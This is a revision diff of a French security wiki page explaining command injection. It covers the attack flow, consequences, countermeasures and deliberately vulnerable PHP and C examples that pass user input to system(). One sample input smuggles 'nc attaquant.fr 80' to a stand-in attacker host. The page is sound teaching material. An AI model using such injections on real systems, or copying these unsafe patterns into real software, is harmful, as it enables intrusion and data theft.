cyber:vulnerabilite:commandinjection
Différences
Ci-dessous, les différences entre deux révisions de la page.
Prochaine révision | Révision précédente | ||
cyber:vulnerabilite:commandinjection [2025/06/27 15:06] – créée admin | cyber:vulnerabilite:commandinjection [2025/07/03 11:57] (Version actuelle) – [Exploiter] admin | ||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Command Injection - Générique ====== | ||
+ | |||
+ | ===== Description ===== | ||
+ | |||
+ | Les attaques de type injection de commandes consistent à injecter des commandes du système d' | ||
+ | |||
+ | Une application qui utilise des entrées non fiables pour construire des chaînes de commande est vulnérable. | ||
+ | Un adversaire peut tirer parti de l' | ||
+ | |||
+ | ===== Pré-requis d' | ||
+ | |||
+ | Pour exploiter cette vulnérabilité, | ||
+ | |||
+ | Dans la plupart des cas, il s'agit d'une forme de chaîne de caractères qui est concaténée à une chaîne constante définie par l' | ||
+ | |||
+ | ==== Compétences nécessaires ==== | ||
+ | * Connaissance des commandes systèmes de l'OS de l' | ||
+ | |||
+ | ==== Outils nécessaires ==== | ||
+ | * Outils de modification et/ou d’interception de requêtes (Burp, Curl). | ||
+ | |||
+ | ===== Flux d' | ||
+ | |||
+ | ==== Explorer ==== | ||
+ | |||
+ | Déterminer le système d' | ||
+ | |||
+ | Identifier les entrées contrôlables par l' | ||
+ | |||
+ | ==== Expérimenter ==== | ||
+ | |||
+ | Injecter des délimiteurs de commande suivis de commandes systèmes et observer les résultats. | ||
+ | |||
+ | ==== Exploiter ==== | ||
+ | |||
+ | |||
+ | |||
+ | ===== Conséquences potentielles ===== | ||
+ | |||
+ | Le succès de ce type d' | ||
+ | * Une exécution de commande arbitraire ; | ||
+ | * La compromission totale de la machine hébergeant l' | ||
+ | |||
+ | ===== Contres-mesures ===== | ||
+ | |||
+ | Les contre-mesures suivantes peuvent être mises en œuvre : | ||
+ | * Utiliser les API du langage plutôt que de vous fier à la transmission de données au shell du système d' | ||
+ | * Filtrer toutes les données entrantes afin d' | ||
+ | * Exécuter les processus d' | ||
+ | |||
+ | ====== Comment cela fonctionne ====== | ||
+ | Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité : | ||
+ | * Un attaquant peut utiliser une injection de commandes pour exécuter des commandes malveillantes sur un serveur web. Par exemple, il peut utiliser une injection de commandes pour exécuter une commande de suppression de fichiers, ce qui peut entraîner la suppression de fichiers importants sur le serveur. | ||
+ | * Un attaquant peut également utiliser une injection de commandes pour accéder à des informations sensibles sur le serveur. Par exemple, il peut injecter une commande qui affiche le contenu du fichier **/ | ||
+ | |||
+ | ===== Exemple 1 ===== | ||
+ | |||
+ | |||
+ | Cet exemple de code vise à prendre le nom d'un utilisateur et à lister le contenu du répertoire personnel de cet utilisateur. Il est sujet à la première variante de l' | ||
+ | |||
+ | La variable **$userName** n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80' | ||
+ | |||
+ | <code php> | ||
+ | $userName = $_POST[" | ||
+ | $command = 'ls -l / | ||
+ | system($command); | ||
+ | </ | ||
+ | |||
+ | ===== Exemple 2 ===== | ||
+ | |||
+ | Le programme simple suivant accepte un nom de fichier comme argument de ligne de commande et affiche le contenu du fichier à l' | ||
+ | |||
+ | Comme le programme s' | ||
+ | |||
+ | <code C> | ||
+ | int main(int argc, char** argv) { | ||
+ | char cmd[CMD_MAX] = "/ | ||
+ | strcat(cmd, argv[1]); | ||
+ | system(cmd); | ||
+ | </ | ||
+ | |||
+ | ====== CWEs ====== | ||
+ | * [[https:// | ||
+ | The software constructs a string for a command to executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. | ||
+ | |||
+ | ====== References ====== | ||
+ | |||
+ | URL : | ||
+ | * https:// | ||
+ | |||
====== Retour fiches vulnérabilités ====== | ====== Retour fiches vulnérabilités ====== | ||
* [[cyber: | * [[cyber: | ||
cyber/vulnerabilite/commandinjection.1751029608.txt.gz · Dernière modification : 2025/06/27 15:06 de admin